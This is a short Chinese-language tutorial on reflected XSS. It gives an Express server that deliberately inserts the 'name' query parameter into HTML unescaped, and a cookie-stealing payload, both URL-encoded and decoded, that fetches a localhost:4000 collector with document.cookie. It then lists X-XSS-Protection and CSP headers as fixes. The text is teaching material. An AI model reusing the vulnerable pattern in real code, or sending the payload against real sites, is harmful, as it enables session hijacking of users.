xss攻击与防御1

1. 背景 xss攻击与防御-反射型攻击，常见方式为右键链接，通过这种方式点击链接使用后出现登录认证被盗用，攻击者可以用这些信息来调用接口。
2. 实现一个简单的服务

const express = require("express");
const app = express();
const port = 3000;

app.set("view engine", "ejs");

// 首页，带有一个用户输入的欢迎语
app.get("/", (req, res) => {
  const name = req.query.name || "Guest";
  // 直接将用户输入插入页面，存在 XSS 漏洞
  //   res.header("X-XSS-Protection", 0);
  res.send(`
        <h1>Welcome, ${name}</h1>
        <p>Try adding ?name=<script>alert('XSS')</script> to the URL.</p>
    `);
});

// 此处可以是别的任意服务下的接口
app.get("/cookie", (req, res) => {
  const { cookie } = req.query;
  console.log("🚀 ~ app.get ~ cookie:", cookie);
  // res.cookie('cookie',cookie)
  res.send("cookie set");
});

app.listen(port, () => {
  console.log(
    `Reflective XSS example app listening at http://localhost:${port}`
  );
});
// 通过如下方式进行请求，可以窃取用户的 cookie，然后将cookie发送到自己的服务器
// %3C 左括号 <
// %3E 右括号 >
// %27 单引号 '
// %22 双引号 "
// %2B 加号 +
// http://localhost:3000/?name=%3Cscript%3Efetch(%27http://localhost:4000/cookie?cookie=%27%2Bdocument.cookie)%3C/script%3E

// 构造结构如下
//<script>fetch('http://localhost:4000/cookie?cookie='+document.cookie)</script>;

3. 使用下面地址请求该接口

http://localhost:3000/?name=%3Cscript%3Efetch(%27http://localhost:4000/cookie?cookie=%27%2Bdocument.cookie)%3C/script%3E

4. cookie 被发送到攻击者的网站了

5. 解决方案

启用 XSS 保护

res.setHeader("X-XSS-Protection", "1; mode=block");

设置 CSP 来限制加载外部脚本

res.setHeader("Content-Security-Policy", "default-src 'self'");

效果如下：